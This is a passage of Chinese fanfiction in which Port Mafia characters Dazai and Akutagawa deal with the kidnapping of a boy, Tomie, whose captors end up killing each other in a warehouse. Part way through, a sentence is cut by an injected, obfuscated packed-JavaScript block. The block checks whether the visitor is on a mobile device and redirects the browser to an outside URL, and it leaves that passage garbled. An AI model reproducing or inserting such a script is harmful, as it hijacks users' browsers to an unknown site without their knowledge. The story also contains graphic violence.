望着对方的背影，回想着刚刚他们之间的对话，他后知后觉地察觉了对方话下的意思。 ……也就是说，太宰那条青花鱼其实并不喜欢那个所谓的情人？ 想到这里，中原中也轻蹙眉头按压下自己的帽檐。 * 港口Mafia，首领办公室内。 “嗯，任务完成得堪称完美呢，太宰君。” 披着红色围巾的中年男人看着手上的任务报告对着双手摆放在自己身后的黑发青年夸赞道。 “就算被中年大叔这样说……我也感觉不到开心呢。”太宰治懒散地打了个哈欠回答。 注视着弟子这样的举动，森鸥外将手抵在下颚，故作无辜的神情和语气，“太宰君，再怎么样这样说我也未免太过了吧？好歹我也是你的上司、港口Mafia的首领诶……” “咦……”太宰治被恶心到，做出了恶寒的举动，他嫌弃道，“能麻烦你正常一点吗？首领。我可不是爱丽丝……” “啊，抱歉抱歉。所以——” “是真的吗？” 森鸥外上一秒还这样毫无诚意地道歉，下一秒又用对八卦好奇的锐利眼神望向黑发青年认真询问。 “……” 太宰治都不需要用大脑思考，就知道面前的人在想什么。 他开口，“……为什么你们都对这种事情感兴趣？” “如果闲得没事，我这里可是有一堆工作可以贡献给您。” “这就不用了……”森鸥外撇开视线心虚回答，随后又看过来理直气壮道，“但是最近港口Mafia内关于你的这件事情一直闹得沸沸扬扬的，真的很难不好奇嘛……” “其实，”他做出偷摸的样子对太宰治小声道，“就连红叶君也跑过来悄悄问我了。” 太宰治忍住想要抽动的嘴角，他严词拒绝，“首领，我想我们之间正经的上下级关系，这种私事就不要过分询问了吧！” “诶？”中年男人不满，“还不是因为太宰君你实在太恶趣味了！我可是知道的，其实送便当的人和昨晚的女伴都是那位身为男性的宫水君不是吗？” “……突然想起来自己刚得到了一个新的自|杀方法还没有尝试过呢，那我就先行告退了，首领。” “等等，太宰君……啊，已经走掉了。” 说完，黑发青年移开视线直接开溜，说谎的理由连草稿都不打。 直至首领办公室的大门被关上，中年男人才收回刚刚伸手阻拦的动作。 他安静地在原位上坐了一会儿，随后从刚刚任务汇报的文件下拿出一份新的文件。 “宫水富江……吗？” 森鸥外注视着资料上少年那蓝底的证件照和那几乎空白的过往，用复杂的语气低声呢喃。 “虽然知道大概不是表面上看起来的那么回事，但是……” 他移开视线看向落地窗外，目光深邃，难以捉摸，“……也是时候了吗？” 最终，声音消散在空中，宛如从未出现。 ** 借着尝试新自|杀方法作为理由的太宰治离开港口Mafia，无所事事地走在街道上。 他知道，既然森鸥外没有找下属拦住他，那就是默认了他的翘班的行为。 但是…… “要不真的去尝试一下好了？” 虽然不是新的自|杀方法，但总比闲得无事好。 太宰治百无聊赖看着身旁不远处路过又消失在拐角处的黑猫想。 现在还是白天，去lupin也遇不到友人，还不如找点自己喜欢做的事情打发时间。 想到这里，他路过拐角快步离开。 然而他很快被拐角内的声音吸引，顿住脚步。 “喵喵喵。” “喵。” 那是两道完全不同的喵叫。 前者是明显的人声，而后者是真实的猫叫，不用怀疑，后面那个声音肯定是刚刚太宰治看见的黑猫发出的。 但他停下的理由不是因为这个，而是那道人声。 那个声线极为熟悉，几乎是听到的瞬间太宰治的脑海里就浮现出了熟悉的人影。 他走进小巷，看到了不远处的少年。 对方将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536573|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包裹得严严实实，蹲在那只黑猫的面前，并再次发出声音，“喵喵喵。” 看得出来对方很喜欢这只猫，可回应少年的是黑猫嫌弃的远离。 少年失落地垂下头，像是在角落阴暗发霉的蘑菇。 太宰治看了两眼走了上去，“富江？” 在他的话语后，原本陷入失落情绪的少年下意识抬起了头看向他。 对方先是短暂的迷茫，似乎在疑惑他怎么会在这个时间出现在这里。随后又猛地站了起来，神情慌张地挥舞着自己的手。 “太、太宰先生。” 声音因为口罩略显沉闷和失真，但太宰治优秀的视力看清楚了对方帽子下冒汗的额头和口罩下泛红的脸颊。 他微眯着眼，晦涩难懂。 在观看了一会儿对方后，才缓缓询问，“……你怎么在这里？” 宫水富江没有想到自己刚刚那样学喵叫的社死场面被看到，正羞愧的不知道该说些什么的时候，就见对方抛来话题。 他在心中松了口气，边走过去，边回答，“在买购买食材，刚好又看见了那只猫。有点没忍住，所以……” 宫水富江曾经思考过，毕业后独自一个人居家工作生活会不会太无聊，所以想过要不要买什么宠物作为陪伴。 在想到狗有外出需求后，他便将目光放在了猫的身上。 因此，刚刚才会那样。 想到这里，他将目光看向刚刚黑猫的所在地。 却发现那只黑猫不知什么时候不见了，他疑惑地发出了声音，结果下一刻，一声猫叫在脚底响起。 他低头看去，黑猫正亲近地蹭着身旁太宰先生的裤腿，来回打转。 羡、……羡慕了。 宫水富江神情复杂地看着这一幕，回想到了自己刚刚被嫌弃的场景。 “太宰先生，很受它的欢迎呢……”他语气尽量平静地开口。 可抬头看向黑发青年，对方却表情嫌弃，活像了黑猫刚刚的样子。 宫水富江还没理解，就见对方回答，“虽然比起狗，猫的接触我还算能接受，但这并不代表我就喜欢猫……” “话说，这只猫太像狗了，好恶心。”黑发青年话锋一转，评价道。 宫水富江看了看对方脚底的黑猫，又看了看对方的神情。 虽然不知道这只猫哪里看起来像狗了，但是既然对方真的不想与这只黑猫接触，他就打算蹲下将猫移走。 可他刚伸出手，那只黑猫就迅速远离，转移到黑发青年的另一只裤腿下。 连续几次都被黑猫嫌弃的避开这点还算好说，但直至他再次伸手却被那只黑猫哈气并伸出锐利的爪子威胁时，宫水富江陷入了沉默。 本以为这已经很令他伤心了，但没有想到此时头顶还传来了太宰先生会心一击。 “富江你……不会被动物喜欢吗？” 果然，人的悲欢并不相通。 不被黑猫喜欢也就算了，怎么太宰先生还要来补刀？ 宫水富江默默站起身，对着面前的黑发青年毫无波澜地回答，“哈哈，看起来是这样的呢……” 可能他话语中的失落表现得实在太明显了，以至于对方都陷入了沉默。 但他也不想啊，他怎么知道自己为什么不受黑猫欢迎？不，换一个角度想。谁知道是不是表面说着不喜欢的太宰先生私底下给自己涂抹了什么呢？ 宫水富江在心里歹毒地想着。 殊不知，黑发青年却回想着刚刚的那一幕陷入了自己的思绪中。 所以，对方的被动型精神系异能力对动物，或者说，对人类以外的生物都无效……吗？ 他垂眸看向脚底的黑猫想到。 20-30 第21章 是深夜, 此时距离那些人所约定的时间还有充分的空余。 太宰治在内网发完帖子后，果不其然地发现这条消息在内部迅速传播。 想必要不了多久，‘那些家伙’也该收到了一样的通知。 为了能够及时观察到相关的情报, 也为了不泄露给别人，太宰治开了一辆黑色轿车停到了港口Mafia的边缘。 随后坐到副驾驶上, 将轻薄的笔记本电脑摆放在自己的大腿上，开始不停地敲打着键盘。 黑色汽车熄火停靠在街道边并不起眼, 更不用说这辆车的车窗还贴上了防窥视的车窗膜。 但汽车内部依然昏暗无比，除了电脑屏幕透出来的微微亮光照射在黑发青年的面孔上，什么别的光线都没有。 可即便如此，黑发青年依然目不转睛地盯着电脑屏幕, 一目十行地看了起来。 与此同时，他修长且骨节分明的双手还在不停地、有节奏地敲打着键盘，一眼看过去, 像是在弹奏某种乐器。但只要往他的发亮的屏幕上看一眼就会知道，他并非在弹奏乐器, 而是在黑入某种网络。 在最后一声重重的键盘敲打声后, 电脑屏幕从最开始的代码页面发生了改变，无数的监控视频密密麻麻地挤在了这个小小的电脑屏幕上。 黑发青年的左手指腹充当的鼠标在触摸屏上不停滑动, 他鸢色的双眸里倒映着监控视频放大、缩小，然后消除在电脑屏幕上的过程。 直至半个小时后, 原本被监控视频挤得密密麻麻的电脑屏幕上, 此刻就只剩下了十几个摄像监控。 这些都是太宰治经过筛选后留下的, 那些残党所在仓库周围大约四公里内的监控。 如果有人出现在这个监控范围，那么他就可以看到那些人的踪迹。 他双手抬起枕在脑后，同时身体往后一仰，躺靠在副驾驶座上。 从现在开始, 这不仅仅是简单的残党报复绑架事件，同时还是他与宫水富江之间游戏中最为关键的一局…… ——忍耐力。 看是他最先按捺不住，还是对方背后的那个组织率先行动。 随着时间的流逝，太宰治依旧保持着那个双手枕在脑后躺靠在副驾驶座上的姿态，只是他的双眸总是维持很长一眨不眨的状态看着电脑屏幕。 在面无表情的状态下，空洞的黑眸和被发出来的微弱亮光映照的看起来惨白的皮肤，使得他看起来更像是个冰冷到极致的死人。 终于，他双眸注视着的点下移，看向了屏幕右下角的时间。 在视线再次转移到屏幕上的监控视频后，确认还是没有任何动静的他放弃了最开始的姿势。 他默默地将枕在脑后的双手放下，坐正了身体，紧接着用右手从口袋中拿出了手机。 掀开，屏幕上刺眼的亮光使得他双眸下意识微眯。但已经完全记住手机上各个功能在哪里的太宰治只是继续用指腹触碰着屏幕打开了联系人。然后在不断往下翻阅，最后停住。 等双眸适应了手机屏幕的亮光，他并不意外地看到了手机正停留在芥川龙之介的联系方式上。 视线移动，监控视频仍然没有任何风吹草动，黑发青年的手指指腹在触碰屏幕和远离屏幕上反复徘徊。 刚开始看，更像是某种轻微的抽动，可随着时间的流逝，这种‘抽动’的频率开始不断地增高。 太宰治左手指腹放在触摸屏上滑动，将其中一个监控画面摆在了最中间放大，而其余监控画面围绕在最大的监控视频上。 这个监控视频是那四公里范围内的监控，但却是最靠近仓库的监控之一。 但如果非要问这个监控与其他最靠近的监控视频有什么不一样的地方，那大概就是这个监控画面中出现了道路反光镜。 黑发青年无比清晰地知道即使这些残党再怎么没头脑，也不至于不知道反侦察。 但是在他看来，对方这种仅仅只是破坏了仓库内监控设备的侦查手段，其实甚至都比不上港口Mafia内那些底层人员。 像这个监控，只要稍微放大…… 黑发青年左手无比流畅地调整了监控画面中道路反光镜的大小和清晰度，紧接着透过反光镜上倒映出来的景色，他能勉强看清仓库内的画面。 ——那是少年被捆绑在座椅上的画面，透过窗户的余光，能面前看见对方面前不远处的那些残党。 但由于清晰度有限加上监控设备的问题，太宰治无法知道这些人具体的一举一动和对话。 他的目光在少年的身影上仔细打量，像是在确认什么。 不过很快，他视线又被对方面前那个像是黑色木棍般屹立在地面上的东西所吸引。 ……是那个摄像头。 几乎是瞬间，太宰治就分辨出了那个物品是什么——正是对方录制视频发送到他手机的那样设备。 眼看时间越来越近，黑发青年指腹的动作越来越明显。 在简单的几秒后，他按下了电话。 在这瞬间，他看到摆放到中间被他放大的那个监控画面发生了变化。 一道看不清晰的人影突然行动，先是走到了人群中，随后又走到了少年的身前，紧接着另一道身影也紧跟其后。 但从两人之间的举动来看，他们并不像是在谈话，更像是意见不合发生了争执。 【“太宰先生？！”】 手机传出略显失真的呼喊，但并不妨碍听出对方话语中隐秘的激动情绪。 太宰治举起手，将电话放在脸颊边，“芥川，你戴罪立功的机会来了。现在立即出发来到我接下来发给你地址的地方，然后等待我的命令。” 说完，他径直挂断电话，将地址发送给他新收的直属部下芥川龙之介。 他目光持续不懈地停留在监控画面上，现在明明即将快到约定的时间，但除了最中间的监控视频外，其余的监控都没有任何明显的变化。 偶尔也能看见有车驶过，但对方没有一丝停留径直了又离开了仓库四公里的范围，消失在画面中。 于是，他将更多的注意力放在了最中间的监控视频上。 起了争执的两人身边逐渐聚集了大量的人，他们就这样停留在少年的面前。 不知道是不是错觉，黑发青年总感觉少年此刻应该正在瑟瑟发抖，如同当初在松下父子面前那样。 害怕、懵懂、同时又用无辜的眼神看着他…… 对方此时此刻也正在用相同的目光看着别人吗？ 心中的烦躁明明愈加剧烈，黑发青年却依旧面不改色。 很快，手机响起了震动声。 他目不转睛地注视着屏幕接下了电话，里面传来了熟悉的咳嗽声。 【“咳咳咳……太宰先生，在下现在已经赶到了您所指示的地点。”】 【“请给在下下达命令，在下一定能为您斩杀那些四处逃散的亡命之徒！”】 并不意外自己的目的被猜到，但太宰治很不喜欢对方这种只知道将敌人杀死的耿直想法。 即使明白这是对方过去生存环境带来的影响，但他也需要让对方明白，现在这里是港口Mafia，而非过去的擂钵街。 于是，太宰治轻蹙眉头，“你、……” 然而话未说完，监控视频中起争执的其中一个人似乎低头看向了什么。 意识到这点的太宰治也看向了屏幕右下角。 ——时间到了。 他的目光在其余监控画面上不停查看，然而还是和之前一样——什么都没有发生。 眼看最中间的监控画面上那个人已经开始对少年动手动脚，太宰治的心狠狠地沉了下去。 ……结果已经显而易见了。 想到这里，太宰治对着手机另一端芥川龙之介道，“芥川，看到你面前十四点方向的那个闲置仓库了吗？” 【“是，太宰先生，在下看到了。”】 “现在那些残党全部都在那里，你要做的就是将他们全部抹杀干净。” 【“是！”】 即使隔着手机，太宰治也能感受到对方话语下的激动，那是被委以重任的惊喜。 可太宰治并不在乎，他只是盯着电脑屏幕，对着电话另一头的人继续道，“只有一点，不许对富江出手。” 【“……太宰先生？”】 对方似乎在疑惑，但太宰治没有理会对方，只是目光严肃地对着这个潜力很大的下属做出提醒。 “……记住，在将那些人解决掉后，立即退出仓库。” “芥川，我已经不想再看见你违抗我的命令了。” 在说完最后一句话后，黑发青年凝视着画面上的内容挂断了电话，然后关上了电脑屏幕放在主驾驶座上起身打开车门，离开了副驾驶座。 以他现在的速度，等他赶到仓库刚好能够看到芥川龙之介收尾。 为了以防万一芥川龙之介再次违背命令或者是…… 黑发青年双眸微眯，不知道想到了什么。 * “嘟嘟嘟……” 这边的芥川龙之介注视着手机，听着它因为被挂断而响起的提示音陷入了沉默。 富江……那个太宰先生传闻中金屋藏娇的情人。 尽管别人那么确信，但他的意见仍然不变…… ——这个人绝对配不上太宰先生。 芥川龙之介想。 他忍不住回想起了与太宰先生的初见。 当时的他与同伴相依为命，尽管异能力很强大，但他的身体却相当病弱。因此不出意外的，他由于前一天所淋的雨而生病发烧。 于是隔天，为了他而出门寻找药物的同伴们不小心因为目睹了走私而惹上了一群恶人。 尽管他与妹妹芥川银因为同伴的掩护成功活了下来，但在几天后退烧的他还是为了伙伴们报仇而只身前往了那群恶人的所在之地。 却没有想到，等他赶往那些人所在之地后，见到的竟是独自坐在石头上看书的太宰先生。 萧瑟的树林、深夜高高挂起的月亮，以及坐在石头上安静看书的太宰先生…… 芥川龙之介甚至能清晰地记得这一幕。 后来从对方的口中他才知道，那些恶人来自国外的组织，特意来到横滨想要越过港口Mafia独自进行走私来牟取巨大利益。 只不过组织内的主要成员已经在太宰先生和另一个人的合作下被解决，只剩下少许的残党还在四处流窜。 “你想要解决那些残党？” 当时失去仇恨来源，不知该做什么的他听到太宰先生如此询问他，于是他也果断地回答了一声，“是！” 随后的事情像是理所当然一般，对方赋予了自己生存的意义。 而他与自己的妹妹银在对方的介绍下成功加入了港口Mafia，并继续跟随对方追寻那些残党的下落。 可是，就是这样的太宰先生居然会有喜欢的人这种事情…… “咳咳咳……” 咸咸的海风通过他的鼻腔侵入肺部，引得他喉咙发痒止不住地咳嗽，他下意识抬手遮掩唇部。 直至咳嗽终于停止，思绪回归的芥川龙之介才望向了仓库的位置。 既然如此，那就去看看好了…… 他这样想着，目光忍不住多了几分审视。 去看看—— “宫水富江……” 芥川龙之介呢喃着这个对于太宰先生来说拥有特殊意义的人，迈步走进了那看似被闲置的仓库。 ** 黎明即将到来，但仓库周围依然一片灰暗。 芥川龙之介并未遮掩自己的脚步，可意外地，这里并没有一个来看守门口的人。 感觉到奇怪的芥川龙之介顿了顿脚步，随后走到了仓库门口。 “[罗生门]。”他低语一句。 几乎是瞬间暗红色的光辉出现在他周围，他身上所穿的黑色长衣外套下摆处发生了变化，从普通的外套变成了形状锋利的黑兽。 黑兽收到了来自主人的指示，动作迅速地将面前的大门切割成了好几块。 霎时间，被切碎的门在失去了支撑后掉落在地上掀起了灰尘。 芥川龙之介遮掩口鼻，但奈何咳嗽声还是响起，不想停留在这样的环境中的芥川龙之介只好继续朝内走去。 仓库内的空间很大，房屋天花板上的灯又不算密集。 尽管已经被闲置，但通过亮度一般的灯光，芥川龙之介依然能够看得到内部充斥着用来摆放货物的置物架和些许纸箱和木箱。 他眉头紧皱，查看着周围的环境。 确认这里没有任何人后，再次朝着更里面的地方走进。 很快，嘈杂的声响出现。 意识到很有可能是残党的芥川龙之介立即朝着两侧都是长长置物架所形成的道路跑去，而他的目的地是道路尽头左手边置物架后的那块地方。 胸腔和肺部开始感受不适，但随着距离越近，芥川龙之介能够听到的声音愈发清晰。 那是子弹射出的枪声和匕首陷入肉中的噗呲声，除此之外还有一些零零散散的话语。 “……不要怪我……我也不想……” “富江……富江……看看我吧……” “都给我去死……只有我、只有我……” “…………” 芥川龙之介心中升起了疑惑，与此同时眉头越皱越紧。 他不理解里面发生了什么，但似乎出现了什么出乎预料的发展…… 是内讧吗？ 可是话语中又提到了……宫水富江。 芥川龙之介很难思考这种复杂的问题，他之前所处的生活环境只需要争夺食物，然后与同伴共享就可以了。 至于敌人……当然是全部解决掉。 思索到这里，芥川龙之介也不再考虑别的。 他想，他只需要到那里去，然后杀掉敌人，再去看那个让太宰先生特别关注的宫水富江就可以了。 芥川龙之介将自己接下来的目标分为两个步骤，然后再次提高速度跑着。 终于，他来到了尽头后马上停下自己继续奔跑的动作，并看向左手边置物架后的画面…… ——那是极其难以置信的一幕，在这瞬间所有的一切都好像在他面前以慢镜头的形式播放。 在亮度有限的灯光下，芥川龙之介能看到那块偌大的地方被红色染了个遍。地面、墙壁，乃至天花板都被血液溅到。 地上是零散又或者堆积的尸体，鲜血从他们的身体上流淌了下来，看起来像是要汇聚成一条小河。 但并非没有幸存者，地面上还站着几个面目狰狞、表情疯狂的男人，他们的手中几乎握着手枪，相互朝着剩下的人对准，然后按动扳机。 不知道是不是之前就用光了，并没有子弹从中射出。而另一边站在角落的男人在发现后，立即抛弃手中同样没有子弹的枪支从怀中掏出了匕首朝着持枪的男人冲了过去。 锋利的刀划过持枪男人的咽喉部位，鲜血再次喷涌而出在墙壁上画出了完美的弧度。 甚至，溅得最高的那几滴血牢牢地扒在天花板上。 芥川龙之介瞪大双眸看着面前的一切，内心不知道该作何感想。 然而就在此时—— “哈哈哈哈哈哈哈哈……” 尖锐，却又悦耳的笑声响起。 通过音色分辨，芥川龙之介只能判断出来这是个男生的声音。 他顺着声音的方向看去，只见那里站着一名穿着休闲的少年。 对方微微仰着头，左手像是为了遮掩般摆在唇前。明明身高并不高，但那双漆黑到什么都反射不了的黑眸却俯视着面前发生的一切。 持刀的男人听到这样的笑声下意识望了过去，对方用痴迷的目光盯着面前的少年，喃喃道，“富、富江……富江在看着我……” 仿佛这样被对方注视着是什么恩宠和荣耀。 芥川龙之介不自觉地看向那个男人，却在下一刻目睹到了对方被枪杀的画面。 子弹穿过男人的额头，对方的身体还在原地站了好几秒才摔在地面上。 但因为地板上的尸体，这具身体摔倒时只发出了微弱的声音。 芥川龙之介凭借着子弹射来的方向找到了射击的人。 对方跪趴在尸体的缝隙中，一只手撑着地面，另一只手举着枪维持刚刚射杀的动作。 “果然一直等待，才是最正确的……”对方如此说道，然后缓缓从地面上站了起来。 “富江……富江……” 他边喊着名字，边想要回头看向身后的少年。可是还未看到，就被另一个人用子弹贯穿了胸膛，永远地倒在了地面上，再也起不来。 至此，这片地面上只站着两个人——最后的胜利者和那名莫名在笑着的少年。 芥川龙之介被眼前发生的一切顿住了脚步，只能眼睁睁地注视着那个最后站着的人踉踉跄跄地朝着少年走去。 对方边走边喊着少年的名字，“富江富江富江富江富江……” 然后来到对方的身边扑通一声跪了下来，伸出手试图抱住对方的腿，同时嘴里还不停诉说着什么，“这样一来，只有我可以……” 然而这个举动并未完成，因为少年直接抬起腿踹了过去，将对方踢倒在地。 完全不顾对方的死活和话语。 在芥川龙之介的视角中，他看到少年用嫌弃的目光看着这个男人，并开口，“真恶心……能别碰我吗？” 男人被踹倒也没有生气，而是独自起身继续跪在少年的身边，用一样的口吻对着少年说道，“对不起富江，对不起……但是这样一来就可以确定了吧？” 对方用着乞求的目光抬起头看着面前的少年，用堪称哀求的语气继续道，“我可以喜欢你，然后你也来喜欢我……” “哈？”少年不屑的情绪明显又直接，随后继续道，“我记得我说的是‘谁赢了，我就允许谁喜欢我’……而不是我也来喜欢你吧？” 说完，少年嗤笑了一声，对着身旁跪着的男人毫不留情道，“别自作多情了，我怎么可能会喜欢上你这样的人？” 这句话显然震惊了地面上的男人，对方难以置信地注视着少年好几秒。 确认对方真的是这么想的之后，立即从地面上站了起来，愤怒地对少年吼着，“富江！你怎么敢的……！你知道我为了你杀了多少同伴了吗？你看看这地面上的尸体！” 说着说着，他开始激动起来，指着面前的少年道，“还是说你的心里只有那个太宰？！你这个婊子！明明是你勾引了我们！让我们自相残杀，做到这个地步……结果你现在一句轻飘飘的自作多情就想把我打发了？” “……饶不了你！我绝对不会让你好过！” 讲完男人举起手中的枪对准了面前的少年。 芥川龙之介注视着这一幕猛然清醒，即使他再怎么不善思考这个时候也听明白了对方的话语。 ……也就是说，面前所发生的一切都是那个少年所造成的。 ——仅仅只是因为少年随口的一句话？ 芥川龙之介无法理解，但眼看着男人即将按动扳机的手，他停顿了许久的脚步终于动了起来。 虽然对那个宫水富江多有不满，但他现在还得完成太宰先生的命令。 “异能力[罗生门]——” 他不再遮掩自己的声音，话音刚落，黑色长衣外套下摆化为黑兽朝着男人攻了过去。 看似愚钝的黑兽贯穿了这个男人的胸膛，将其高高挂起。 注视着鲜血顺着黑兽滴落在地面的景象，芥川龙之介无动于衷。 他只是很快将黑兽从对方的胸膛收了回来，在甩了甩上面的血迹后才变回原来的模样。 他注视着那个男人的身躯，边朝着少年走去。 直至确认男人彻底死透不再动弹，他才将视线从对方身上转移到少年的身上。 然后，瞳孔紧缩—— 对方微卷的黑发如宝石般具有光泽，皮肤光滑白嫩，与他因为疾病缠身而灰白的肤色完全不同。 那双空洞的黑眸像漩涡般吸引着他，但更令他难以离开视线的是对方左眼眼尾处的美人痣，再往下看去则是弯起嘴角的薄唇…… 之前距离遥远，看不清少年真实模样的芥川龙之介想不通宫水富江具有什么魔力，能让所有人因为一句话而自相残杀。 但此刻在亲眼看到了对方的面孔之后，他似乎也不是不能理解了。 他甚至用那反应变慢到难以思考的大脑想，也许正是因为这样，太宰先生才会对这个少年如此与众不同…… 就这样盯着对方露出这样的笑容不知道多久，耳边传来了熟悉的声音。 芥川龙之介大脑正在艰难思考是谁的时候，一只手猛地抓着他的右手手腕举了起来。 突然的动作使得芥川龙之介回神看了过去，映入眼帘的却是太宰先生的那张不知为何轻蹙眉头的神情。 还没想明白自己所做的行动是不是哪里又令对方不满，就听到太宰先生询问他： “……芥川？你还好吗？” 第22章 在得知宫水富江被绑架的时候, 太宰治确实很生气，但很快他也因此制定了一套一石三鸟的最优解。 解决上次任务组织剩下来的残党，锻炼芥川龙之介, 和试探宫水富江背后是否真的存在他所怀疑的组织。 在他的预想中，如果存在这样的组织, 那么对方在发现他迟迟没有行动后，必定会按捺不住去救被困于危险之中的宫水富江。 尽管宫水富江的异能力很危险, 但这也无法否认这个异能力更多的利用价值。在死亡和暴露之间，显然是后者的结局带来的损失更小。 与之相反的，如果宫水富江的背后从一开始就不存在这样的组织…… 太宰治想起了在lupin时友人织田作之助所说的那句话。 【“从一开始一切都是巧合，偶然。” “对方只是个刚好拥有了那种异能力的普通人。”】 可是—— 太宰治心中存有疑问, 如果真的是巧合和偶然，那么对方为什么对他的目的性那么明确？ 但显而易见，现在并不是他该想这个时候。事态已经朝着在太宰治看来最不好的方向发展了, 他不得不立即安排芥川龙之介出动。 尽管这个他刚收下的直属部下脑子只有一根筋，但以对方的实力去解决那几个残党还是游刃有余的。 太宰治从下车后便朝着仓库走去, 来到仓库门口就毫不意外地发现了芥川龙之介使用异能力粗暴打开仓库大门的痕迹。 他面不改色地掠过, 径直地走了进去，在观察了一下四周后, 很快确认了路径走向目的地。 很快，浓烈的血腥味扑鼻而来。 在港口Mafia待了好几年的太宰治明白, 这是死了不少人才会有的状态。 他想, 芥川龙之介应该顺利完成了解决残党的命令。 只不过……有点太安静了。 意识到这点的太宰治轻蹙眉头, 他从这种安静中感觉到了一丝不妙。 他给芥川龙之介下达的指令是在解决完残党之后立即离开仓库，目的就是防止对方被宫水富江的异能力影响。 也就是说，在确认宫水富江背后没有组织后，此时的局面就只剩下了两个。 一个是芥川龙之介听从了他的命令, 解决完残党后从仓库离开。 另一个是芥川龙之介并未完全听从他的命令，而是在解决完残党后选择与宫水富江交谈。 如果是前者，那么现在他已经遇上了芥川龙之介才对。 这样一来，答案就很明显了……芥川龙之介选择上前与宫水富江接触。 既然如此，在这样空旷的地方谈话不可能没有一点声音。 ——这才是太宰治感觉奇怪的地方。 一定是发生了什么…… 抱着这样的想法，太宰治加快脚步通过了由两侧置物架构成的道路。 在路的尽头越过了置物架看到了他自己在意的场景。 ——满地的尸体，以及溅得到处都是的血液。 只是光线有限，所以能看到的细节并不多。 不过在这片场景中，最瞩目的却是那两个唯二站着的人。 太宰治双眸微眯，通过优秀的视力，他确认了站在那里的就是芥川龙之介和……宫水富江。 他迈动脚步走了过去，可刚踏上一步，脚底便升起了奇怪的触感。 湿润，却又与踩在水上的清爽感不同，多了几分黏稠。 几乎是瞬间，太宰治就明白自己踩在了那些从尸体身上流下来、由血液汇聚而成的‘水’坑上。 他停顿了一下后，很快面不改色地继续朝着那两个站着的人走了过去。 越是靠近，太宰治越能看清两人的侧脸。 他的目光率先注意到宫水富江那边。 从他的角度来看，对方此刻站在那里，低垂着头。有些长的前额刘海恰到好处地遮掩了对方的上半张脸的表情，但通过对方嘴角勾起的弧度，太宰治看得出来对方是在微笑。 微笑？ 对着芥川龙之介？ 太宰治轻蹙眉头，没有立即说话，不知道在思考些什么。 但很快在转过了头后，对着不知道在做什么的芥川龙之介喊了一声，“芥川。” “……” 可芥川龙之介并未理睬他，而是继续维持他看到的最初模样站在那里不动。 察觉到了什么的太宰治再次向前走了几步，直至能够看清芥川龙之介的表情，他才发现芥川龙之介面对宫水富江所受到的异能力影响比他想象中的还要大。 微张的嘴，睁大的双眸，以及那双直勾勾却又不移开视线的目光。 这种熟悉的神情令太宰治回想到了曾经观察到的那些人——那些因亲眼看到了少年真实容貌而被吸引蛊惑的人群。 只是…… 太宰治的脚步在微妙地停顿后迅速来到对方的身边，猛地抓起对方的手腕，继续喊了一声对方的名字。 不知道是因为他的动作还是因为他的异能力发动有了效果，对方终于有了迟钝且僵硬的反应——缓缓转头看向了他。 “……太宰先生？” 听到对方还能对话，太宰治稍微松了口气。 他松开了对方的手，“你感觉自己还有哪里不对劲吗？” 听到他的话语，宛如垂耳兔发型的少年反应迟钝地摇了摇头。 很快，对方似乎想起了什么，试图转头寻找谁。 注意到对方的动作，太宰治面不改色地走到了对方的面前，遮掩对方的视线。 并在对方疑惑的目光看过来的时候，抢先开口。 “芥川，还记得在这之前我和你说过什么吗？” “解决残党，然后，”对方低头回想，然后音量降低，“立即离开仓库……” “结果现在是什么情况？”他带着不容置疑的语气质问着对方。 “……” 看着对方沉默不语，不知道在想些什么的神情，太宰治直接出声，“芥川，这已经是你第二次违背我的命令了。” “说实话，我感到十分失望……甚至开始思考当初带着你回来究竟是不是一个正确的选择。” 对方终于着急，抬起头立即开口，“太宰先生，在下、……” 太宰治却只是摆了个制止的手势，他神色冷淡地对着面前这个尚且不成熟的部下开口，“可以了，这次的任务我勉强算你完成了，你现在先回去吧。” 见到他的态度如此决绝，生怕再次开口不离开会成为第三次违背命令的芥川龙之介只好在沉默良久后，生硬地点了点头回答，“在下明白了……” 直至对方的背影消失不见，太宰治才转头看向在这整场计划中处于中心位置的黑发少年。 对方还维持着刚刚的姿势，低垂着头不知道在想些什么，只有嘴角还挂着若有若无的笑意。 见到这一幕，太宰治就忍不住回想起芥川龙之介直勾勾盯着对方的画面。 他伸出手想要触碰面前的少年，“富江……” 然而明明手还尚未触碰到面前的少年，对方却先一步身体前倾，向他倒下来。 发现这点的太宰治立即变换了动作，将对方抱在怀里。 熟悉的幽香替换了他鼻腔中的血腥味，怀中的身躯无力且柔软。 但察觉到奇怪的太宰治却无心思考这些，而是用空闲的那只手将那只低垂着的头抬了起来，果不其然地发现对方正紧闭双眸，陷入睡眠。 “是昏厥吗……” 太宰治很快分辨出对方并非真的在睡觉，更像是脱力导致的昏睡。 他看了看周围的环境，又看了看怀中的黑发少年。 最终，他将少年抱起走出了仓库外…… * 返回公寓的太宰治注视着躺在沙发上的少年的睡颜开始发愁。 对方身上的衣服皱皱巴巴的同时还沾满了血迹，如果不出意外，大概率是芥川龙之介在解决那些残党的时候，溅到对方身上的。 按理来说这个时候，他应该主动帮对方清理并换上新的衣服。 可是不知为何，他很难主动做这一步。 所以，还是要等到对方醒来吗？ 太宰治想。 …… ………… 意识模模糊糊清醒过来，宫水富江挣扎着睁开了双眼，然而出现在眼前的是熟悉的天花板。 他有些茫然，就这样安静地注视了好几秒，直至一道声音吸引了他的注意力。 “富江？” 他没有起身，而是侧头看了过去，发现是熟悉的太宰先生。 对方从客厅拎起一把椅子来到他的身边坐下，直至此时宫水富江这才反应过来，自己现在好像是在公寓的沙发上。 沙发…… 宫水富江猛地坐起了身，然后呆愣愣地看向太宰治，“太宰先生？我……” “在公寓。”对方像是知道他要询问什么立即回答，紧接着又开口询问，“但是在那之前……你被绑架了，还记得吗？” 绑架…… 被这样一提醒，宫水富江想起来了。 他确实是被绑架了，但很快那群人开始争吵发生争执，然后…… 宫水富江开始努力回想，可记忆就像是醉酒后那样发生了中断。但万幸，他仍存留着一些断断续续的、模糊的记忆。 只不过在那些记忆中，他好像是在…… ——笑。 ——他好像很愉悦地一直在笑。 